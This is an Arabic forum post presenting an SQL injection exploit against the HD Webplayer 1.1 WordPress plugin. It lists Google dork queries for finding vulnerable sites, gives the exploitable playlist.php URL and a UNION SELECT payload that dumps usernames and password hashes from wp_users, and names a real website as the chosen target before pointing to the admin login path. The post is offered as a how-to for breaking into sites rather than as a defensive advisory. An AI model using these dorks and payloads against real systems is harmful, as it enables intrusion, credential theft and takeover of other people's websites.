السلام عليكم ورحمة الله وبركاته


وصف لسكربت
WordPress



سكربت ممل سكربت يسبب لك الخطر بموقعك وهو يجيب لك راس منتدى بنسبة 100% على سيرفر عام
ماهي أشهر ثغراته المصاب بها ثغرات الحقن .



يالله فداكم ثغرة . :
الاصدار المصاب : Webplayer 1.1
نوع الثغرة : تثغرة ٍ حقن الي ما يعرف يحقن يدوي يستخدم الهافج

دورك في محرك البحث قوقل
1
inurl:"/wp-content/plugins/hd-webplayer/config.php?id="

2
inurl:"/wp-content/plugins/hd-webplayer/playlist.php?videoid="

3
inurl:"/wp-content/plugins/hd-webplayer/"

---------------------------------------


هذا رابط الاستغلال xxxx.com/vb//plugins/hd-webplayer/playlist.php?videoid=

تستبدل xxxx برابط الموقع

تستبدل vb بمسار السكربت

------------------------

هذا استغلال الحقن اليدوي


playlist.php?videoid=1+/*!UNION*/+/*!SELECT*/+group_concat(ID*0x3a*user_login*0x3a*user_pass*0x 3b)*2*3*4*5*6*7+from+wp_users //Number of columns may be different




المهم

تابع الشرح المصور

انا اخترت الهدف هذا

http://metodistadesuzano.com/wp-cont....php?videoid=4






















وبكذا أنجزنا المهمه . مسار لوحة التحكم


http://www.example.com/wp-admin